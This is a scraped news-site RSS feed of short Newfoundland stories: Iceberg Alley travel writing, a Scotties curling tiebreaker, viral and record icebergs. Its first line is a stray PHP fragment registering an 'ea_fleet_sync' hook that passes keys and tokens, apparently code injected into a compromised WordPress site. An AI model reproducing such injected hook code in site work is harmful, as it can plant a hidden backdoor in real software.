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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Newfoundland – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Fri, 07 Dec 2018 18:10:09 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.8 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Newfoundland – Brief News https://briefnews.eu 32 32 Newfoundland, home of the world’s biggest iceberg parade https://briefnews.eu/newfoundland-home-of-the-worlds-biggest-iceberg-parade/ https://briefnews.eu/newfoundland-home-of-the-worlds-biggest-iceberg-parade/#respond Fri, 07 Dec 2018 18:10:09 +0000 http://briefnews.eu/newfoundland-home-of-the-worlds-biggest-iceberg-parade/
Andrew Eames


Andrew Eames
December 7, 2018

Picture a scene where hundreds of bergs, some thousands of years old, are floating along the sea in an eye-catching ‘parade’. Andrew Eames heads to Iceberg Alley.

So here’s a riddle for the well-traveled … What’s bigger than a multi-story car park, calves ‘growlers’, sinks ships, and weeps gently as it comes sashaying down a spectacular ‘alley’ that runs for over 100 miles?

The answer, of course, is an iceberg, and the catwalk in question is the so-called Iceberg Alley off the coast of the island of Newfoundland in Atlantic Canada. Here, on a productive day in the heart of the season, as many as 300 bergs can be found whispering along the shore at any one time.

The waters in these parts have long been known for their big lumps of ice—ever since a famous one sank the Titanic near here, back in 1912. Most of these bergs break off from the edges of the expanding glaciers of western Greenland, 1,000 miles north, and the Newfie shoreline in the months of May and June is the last stage of a reluctant migration.

They parade past in a stately fashion, some sporting pinnacles, some arches, some table-topped and some—very occasionally—carrying polar bears. From the shore, they are mapped, watched and photographed, as if they’re in some kind of slo-mo art show. And they’re certainly mesmerizing when seen up-close, especially when you realize that some are as ancient as 10,000 years old.

Technology may have moved on since the days of the Titanic, but bergs are still scary beasts—especially when you can’t see them. “When they’ve got a completely flat surface, it’s sometimes hard to pick them up on the radar,” says captain Barry Rodgers as we steam out from Newfoundland’s St John’s Harbor on his day-trip boat, Iceberg Quest—and are instantly swallowed whole by the cotton wool of a fog bank, a regular hazard here in spring.

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Rodgers reduces speed—he knows there’s something near—and mentions that the floating ice sometimes carries passengers; namely, polar bears that realize too late that they’ve chosen a drifter when the ice starts to diminish around them and air starts to warm. What usually happens is that they are tranquilized by local rangers, and then airlifted back north.

Suddenly, out of the fog, looms an enormous white shape, round-cornered, blue-veined and “like a dementor!” gasps a Harry Potter fan on board. A huge beast, or at least it seems huge from this close, and one that would easily sink a ship.

The fog clears, revealing an archway through its middle which looks like a gateway to an icy, parallel world. And when the sun hits it again, it ‘calves’ with a noise like thunder, releasing growlers the size of grand pianos into the water. Rogers stays well clear; a melting berg is very unstable, he says, and a sudden change in weight distribution can cause it to cartwheel, which is lethal for a small boat if you’re too close.

And Iceberg Alley is very much ‘small boat’ territory. Newfoundland is still fundamentally a fishing community, its shoreline a picturesque jigsaw of creeks, inlets and secret harbors, with fishing villages of pastel-colored clapperboard fishermen’s houses scattered about. In the sunshine, it looks like a distillation of Scotland, Ireland and Norway, while its main town, St. Johns, looks and feels a bit like an Irish San Francisco, with painted houses climbing uphill away from the bay.

I’m headed upcountry for the second half of my iceberg quest. For a while, the road veers inland through a rolling interior of lake-spotted moorland and tundra, with intermittent forest of birch, spruce and pine. With a landmass twice the size of Great Britain, but a population of barely 500,000, Newfoundland is clearly a hard-scrabble place to survive.

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Half way to Happy Adventure—which sounds like a story from children’s TV—I make a detour on the advice of icebergfinder.com, Newfoundland’s iceberg-spotting website. From the headland at Bonavista, with its commanding view up and down Iceberg Alley, I can count at least 30 bergs in various states of disarray, dazzling white against the deep blue sea. I’m not the only berg-spotter to come here: Global warming these past few years has produced a bumper crop of visitors, and that in turn has generated a handy tourist upsurge.

Happy Adventure turns out to be a hamlet of houses on a tiny bay, one of which is the Inn at Happy Adventure, whose proprietor I’ve come to meet. Before coming ashore to be a restauranteur and innkeeper, Chuck Matchim used to be a cold-water cowboy—he worked for the offshore oil industry in the Labrador seas, skippering powerful tugs that would lasso any bergs drifting towards oil platforms, and try to tow them off course. Mostly, he says, it worked, “but then you get a berg over 15 kilometers long, and in that case, it’s the drilling equipment that has to get out of the way.”

Chuck takes me out in his rib to see a berg in its death throes. It’s a dull, wet day, which imbues the beached beast with a strange kind of luminosity. Once a giant among giants, it ran aground on the sullen shore some weeks earlier, and it is now a shadow of its former self.

The rib noses in almost within touching distance. With the berg well aground, and in a sad state of undress, there’s no chance of a capsize. So now I can see its purple veins, see the tears streaming down its flanks, and I can hear it whispering to itself in a private language of hisses and cracks as it melts. It carries an overwhelming presence, and I am overcome by an overwhelming sadness; this apparently living thing, tens of thousands of years old, has reached its end.

I’d have given it a cuddle, if it hadn’t already been ice cold.

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Their groundbreaking genetic research has added decades to the lives of people at risk of sudden heart attacks — now members of the team responsible have won the Governor General’s Innovation Award.

]]> https://briefnews.eu/research-that-slayed-the-newfoundland-curse-wins-governor-generals-award/feed/ 0 Ontario downs Newfoundland in Scotties tiebreaker https://briefnews.eu/ontario-downs-newfoundland-in-scotties-tiebreaker/ https://briefnews.eu/ontario-downs-newfoundland-in-scotties-tiebreaker/#respond Fri, 02 Feb 2018 00:12:26 +0000 http://briefnews.eu/ontario-downs-newfoundland-in-scotties-tiebreaker/

Ontario’s Hollie Duncan advanced to the championship pool at the Scotties Tournament of Hearts with an 11-8 win over Newfoundland’s Stacie Curtis in Thursday’s tiebreaker game.

Ontario scored three in the ninth end and a deuce in the 10th. Duncan sealed the win when Curtis was unable to draw her last rock onto the button while trailing 9-8.

Duncan said it was an emotional match.

“It was not my best game,” said Duncan, who’s competing in her first Scotties. “I stringed together just enough to pull it out. My team played really well. I had their support that game which was huge.”

Ontario’s Karen Sagle shot 85 per cent to lead her team while Duncan struggled at 64 per cent. Erica Trickett led Newfoundland with 90 per cent shooting.

The final end looked good for Curtis, who was trying to score a deuce by drawing her rock to the button with the help of a bump. That didn’t happen when the rock didn’t have enough weight.

Duncan said it was good for them thanks to two guards and they knew as long as they were still there they had a chance for a steal.

“The reds were piling up a bit,” Duncan said with a laugh.

‘We get to keep playing and that’s a great feeling’

Ontario had the mentality going into the end for a force or steal depending on how things looked. They ended up going hard for the steal.

“We get to keep playing and that’s a great feeling,” said Duncan, who will play wild-card Kerri Einarson later Thursday.

Einarson finished the first round-robin portion of the tournament with a 6-1 record.

Curtis called it a roller coaster week following her fourth straight loss. Newfoundland will look to win Friday morning’s seeding position game.

Curtis said it wasn’t difficult going through a game of changing scores.

“We are used to back and forth games. They are a great team and I didn’t really expect anything else, maybe a few less points here and there,” said Curtis, of St. John’s. “I expected a back and forth game.”

Curtis was disappointed with the finish.

“We didn’t play well enough to get in and that’s kind of the end of it,” she said.

Newfoundland led 1-0 after the first end, then grabbed a 4-2 lead after the third with a triple. The lead changes continued.

In other afternoon play, B.C.’s Kesa Van Osch (4-3) faces Manitoba’s Jennifer Jones (5-2), Team Canada’s Michelle Englot (5-2) goes up against Nova Scotia’s Mary-Anne Arsenault (5-2) and Alberta’s Casey Scheidegger (6-1) plays Northern Ontario’s Tracy Fleury (5-2).

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Eastern Health says doctors have reported 19 cases of swelling in the salivary glands, and more test results are expected within days.

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Parks Canada has retrofitted one of its rustic cabins at the Berry Hill Campground to make it friendly for people with autism who want to get close to nature.

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The man who photographed a ‘penis-shaped’ iceberg spotted off the eastern coast of Canada says he is in “awe” of how quick the image has gone viral.

Jamie Ellison, a horticultural instructor based in Nova Scotia, discovered the curiously phallic shaped tower of ice during a visit to Griquet, Newfoundland.

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He told RT.com that the image was taken on July 7, while he was touring the area with local tour guide Todd Boland.

The iceberg has since caught the attention of many people and publications online.

“I’m in awe at the speed of how information travels and that humans seem curious about our anatomical representations in nature,” Ellison told RT.com.

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Asked about names being given to his bizarre discovery, Ellison said he had heard a number of suggestions.

“Yes the berg has got a few different names, including the #hammerofthegods,” he said.

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An Huge Iceberg Is Now a Tourist Attraction in Newfoundland

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]]> https://briefnews.eu/an-enormous-iceberg-has-become-a-hot-tourist-attraction-in-newfoundland/feed/ 0 Iceberg Alley: Canada’s enormous NEW tourist attraction sails into Newfoundland https://briefnews.eu/iceberg-alley-canadas-enormous-new-tourist-attraction-sails-into-newfoundland/ https://briefnews.eu/iceberg-alley-canadas-enormous-new-tourist-attraction-sails-into-newfoundland/#respond Thu, 20 Apr 2017 10:15:10 +0000 http://briefnews.eu/iceberg-alley-canadas-enormous-new-tourist-attraction-sails-into-newfoundland/

Canada’s most easterly province is home to some impressive frosty sights. 

Newfoundland boasts Iceberg Alley, a spectacular viewing point for 10,000-year-old glacial giants that drift in through spring. 

The town of Ferryland has just welcomed a sizeable tourist attraction in the form of a mammoth iceberg. 

Larger in size than the one that sank the Titanic, the iceberg has sailed up to the coast, measuring some 150ft tall. 

Icebergs don’t normally drift through the passage until May or June but there have been many early arrivals this year, all the way from the Arctic. 

A total of 616 have been reported so far in 2017 across the North Atlantic. There were 687 spotted last year by September. 

The spike in sightings has been attributed to unusually strong counter-clockwise winds and global warming, according to experts. 

Though the impressive formations often sail away when sea ice breaks up in early summer, this giant could be there to stay. 

Mayor Adrian Kavanagh told the Canadian Press: “It’s the biggest one I have ever seen around here. 

“It’s a huge iceberg and it’s in so close that people can get a good photograph of it.”

Local resident Don Costello told CBC: “It’s not moving out of there unless these winds stay up for another while, because [the iceberg is] right in on the shallow ground.”

The iceberg that sunk the Titanic back in 1912 was estimated to measure 100ft. 

Ferryland’s tiny population of 500 has already received an influx of tourists flocking to see the striking new sight, with many more on the way. 

The mayor said there are up to six “big” icebergs out in the distance that could head towards the coast if the winds intensify. 

If you want to see Iceberg Alley for yourself, you can fly to St John’s, where it’s an hour’s drive to Ferryland. 

Last month it was revealed an iceberg three times the size of London is on the verge of breaking off. 

The Larsen C ice shelf is one of the 10 biggest ever icebergs and could spark a four inch rise in sea levels if it rips away. 

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